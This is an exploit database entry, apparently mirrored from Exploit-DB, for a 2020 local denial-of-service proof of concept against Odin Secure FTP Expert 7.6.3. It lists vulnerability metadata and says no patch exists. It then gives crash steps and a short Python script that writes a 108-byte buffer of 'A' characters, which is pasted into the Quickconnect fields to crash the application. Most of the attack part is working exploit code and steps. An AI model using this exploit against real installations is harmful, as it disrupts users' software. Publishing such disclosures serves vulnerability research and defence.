Odin Secure FTP Expert 7.6.3 - 'Site Info' Denial of Service (PoC)

vendor:

Odin Secure FTP Expert

by:

Ivan Marmolejo

7.5

CVSS

HIGH

Denial of Service

Not provided

CWE

Product Name: Odin Secure FTP Expert

Affected Version From: Odin Secure FTP Expert 7.6.3

Affected Version To: Odin Secure FTP Expert 7.6.3

Patch Exists: NO

Related CWE: Not provided

CPE: Not provided

Metasploit:

Other Scripts:

Platforms Tested: Windows 10 Home Single Language

2020

Odin Secure FTP Expert 7.6.3 – ‘Site Info’ Denial of Service (PoC)

The Odin Secure FTP Expert 7.6.3 software is vulnerable to a denial of service (DoS) attack. By sending a specially crafted payload, an attacker can cause the application to crash.

Mitigation:

No mitigation or remediation provided

Source

Exploit-DB raw data:

# Exploit Title: Odin Secure FTP Expert 7.6.3 - 'Site Info' Denial of Service (PoC)
# Discovery by: Ivan Marmolejo
# Discovery Date: 2020-03-27
# Vendor Homepage: https://odin-secure-ftp-expert.jaleco.com/
# Software Link Download : http://tr.oldversion.com/windows/odin-secure-ftp-expert-7-6-3
# Version : Odin Secure FTP Expert 7.6.3
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 Home Single Lenguage (ESP)

Steps to Produce the Crash:

   1.- Run python code: OdinSecureFTP.py
   2.- Copy content to clipboard
   3.- Open "OdinSecureFTPExpert.exe"
   4.- Go to "Trial" > Connect > Quickconnect site
   5.- Paste ClipBoard into the all fields
   6.- Go to Connect
   7.- Crashed

Python "OdinSecureFTP" Code:
   
buffer = "\x41" * 108
f = open ("OdinSecureFTP.txt", "w")
f.write(buffer)
f.close()